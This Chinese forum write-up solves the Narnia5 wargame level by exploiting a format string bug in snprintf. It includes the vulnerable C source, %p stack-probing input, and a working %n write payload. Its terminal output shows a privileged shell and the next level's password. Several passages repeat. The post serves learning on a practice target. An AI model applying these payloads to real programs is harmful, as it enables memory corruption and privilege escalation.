-
-
[原创]WarGame-narnia5 解题思路
-
发表于: 2019-7-30 15:11 7733
-
Narnia5源码如下
这个游戏引入了一个新的漏洞,格式化字符串漏洞,从前我在玩看雪CTF时也遇到过同样的漏洞,但是看writeup时一直不知道这种漏洞利用时的转义字符是什么意思,很多大佬也不给解释;这个级别的游戏花了我两天多的时间来学习这个漏洞的基本知识;注意观察源码中的snprintf函数,他没有对用户输入的参数做过滤,从而导致了任意地址读写,当我们修改了i的值为500时,就能获得一个shell,和之前级别的栈溢出不同的是,格式化字符串一次只能改一个值(就像是狙击),在狙击之前要确定修改后的值、变量的地址和储存变量地址的地址,从源码来看,修改后的值为500,调试如下
%p是为了要打印栈中的地址,因为要找到储存要写入的地址的地址(有点儿绕),参数里前4个字节就是要写入的地址,%p是为了找到储存要写入的地址在栈中是第几个,这个游戏为了迎合新人,就直接把要写入的地址放在了第一个,实际中,放到几百个以后都是有可能的,在writeup的最后我会展现如何在gdb中寻找所需的地址位置的方法,实际利用方法如下
因为这是我第一次真正的做格式化字符串漏洞,并且也学习了很长时间,所以我会详细的讲下每个参数的意思,从源码来看每次i在打印时会将i的值和i的地址同时打印出来,因为没开ASLR,所以i的地址不会改变,第一个参数就是i的实际地址,第二部分’%496x’测试要写入的数据,因为前面已经有四个字节的地址了,所以应该是500-4=496,最后的’%01$n’则是代表要写入的位置是第一个(n是写入的意思),实际使用gdb调试结果如下(我用的是Ubuntu18.04 64位,pwndbg)
正如栈中显示的,输入的四个’\x43’并不是栈中的第一个值,所以之前并没有说是栈中的第一个,只是打印出来是第一个,注意断点是下在snprintf处,所以要等执行完snprintf函数后,才能打印出来
/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int i = 1; char buffer[64]; snprintf(buffer, sizeof buffer, argv[1]); buffer[sizeof (buffer) - 1] = 0; printf("Change i's value from 1 -> 500. "); if(i==500){ printf("GOOD\n"); setreuid(geteuid(),geteuid()); system("/bin/sh"); } printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0; }
这个游戏引入了一个新的漏洞,格式化字符串漏洞,从前我在玩看雪CTF时也遇到过同样的漏洞,但是看writeup时一直不知道这种漏洞利用时的转义字符是什么意思,很多大佬也不给解释;这个级别的游戏花了我两天多的时间来学习这个漏洞的基本知识;注意观察源码中的snprintf函数,他没有对用户输入的参数做过滤,从而导致了任意地址读写,当我们修改了i的值为500时,就能获得一个shell,和之前级别的栈溢出不同的是,格式化字符串一次只能改一个值(就像是狙击),在狙击之前要确定修改后的值、变量的地址和储存变量地址的地址,从源码来看,修改后的值为500,调试如下
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p%p%p%p"') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [CCCC0x434343430x333478300x333433340x783033340x343333330x3033383] (63) i = 1 (0xffffd6e0) narnia5@narnia:/narnia$
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p%p%p%p"') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [CCCC0x434343430x333478300x333433340x783033340x343333330x3033383] (63) i = 1 (0xffffd6e0) narnia5@narnia:/narnia$
%p是为了要打印栈中的地址,因为要找到储存要写入的地址的地址(有点儿绕),参数里前4个字节就是要写入的地址,%p是为了找到储存要写入的地址在栈中是第几个,这个游戏为了迎合新人,就直接把要写入的地址放在了第一个,实际中,放到几百个以后都是有可能的,在writeup的最后我会展现如何在gdb中寻找所需的地址位置的方法,实际利用方法如下
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff%496x%01$n"') Change i's value from 1 -> 500. GOOD $ whoami narnia6 $ cat /etc/narnia_pass/narnia6 neezocaeng $
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff%496x%01$n"') Change i's value from 1 -> 500. GOOD $ whoami narnia6 $ cat /etc/narnia_pass/narnia6 neezocaeng $